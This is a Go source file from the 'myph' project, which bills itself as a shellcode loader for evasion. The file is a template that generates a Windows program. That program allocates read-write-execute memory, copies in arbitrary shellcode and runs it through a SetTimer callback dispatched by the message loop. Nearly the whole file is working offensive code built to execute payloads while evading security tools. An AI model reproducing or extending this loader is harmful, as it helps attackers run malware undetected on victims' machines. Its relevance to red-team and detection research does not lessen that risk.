myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
setTimer.go (1858B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type SetTimerTemplate struct {
      9 }
     10 
     11 func (t SetTimerTemplate) Import() string {
     12 	return fmt.Sprintf(`
     13 import (
     14     "syscall"
     15     "unsafe"
     16 )
     17 `)
     18 }
     19 
     20 func (t SetTimerTemplate) Const() string {
     21 	return fmt.Sprintf(`
     22 const (
     23 	MEM_COMMIT             = 0x1000
     24 	MEM_RESERVE            = 0x2000
     25 	PAGE_EXECUTE_READWRITE = 0x40
     26 )
     27 
     28 var (
     29 	kernel32      = syscall.MustLoadDLL("kernel32.dll")
     30 	user32        = syscall.MustLoadDLL("user32.dll")
     31 
     32 	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
     33 	SetTimer      = user32.MustFindProc("SetTimer")
     34 	GetMessageW   = user32.MustFindProc("GetMessageW")
     35 	DispatchMessageW = user32.MustFindProc("DispatchMessageW")
     36 )
     37 `)
     38 }
     39 
     40 func (t SetTimerTemplate) Init() string {
     41 	return ""
     42 }
     43 
     44 func (t SetTimerTemplate) Process() string {
     45 	return fmt.Sprintf(`
     46 	addr, _, _ := VirtualAlloc.Call(
     47 		0,
     48 		uintptr(len(shellcode)),
     49 		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
     50 	)
     51 
     52 	for i := 0; i < len(shellcode); i++ {
     53 		*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
     54 	}
     55 
     56 	var dummy uintptr = 0
     57 	_, _, _ = SetTimer.Call(0, dummy, 0, addr)
     58 
     59 	var msg [48]byte
     60 	_, _, _ = GetMessageW.Call(uintptr(unsafe.Pointer(&msg[0])), 0, 0, 0)
     61 	_, _, _ = DispatchMessageW.Call(uintptr(unsafe.Pointer(&msg[0])))
     62 `)
     63 }
     64 
     65 func (t SetTimerTemplate) GetTemplate(targetProcess string) string {
     66 	InformProcessUnused(targetProcess)
     67 
     68 	var template = `
     69 package main
     70 
     71 __IMPORT__STATEMENT__
     72 
     73 __CONST__STATEMENT__
     74 
     75 func ExecuteOrderSixtySix(shellcode []byte) {
     76 
     77 __IMPORT__PROCESS__
     78 	
     79 }
     80 `
     81 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
     82 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
     83 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
     84 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
     85 
     86 	return template
     87 }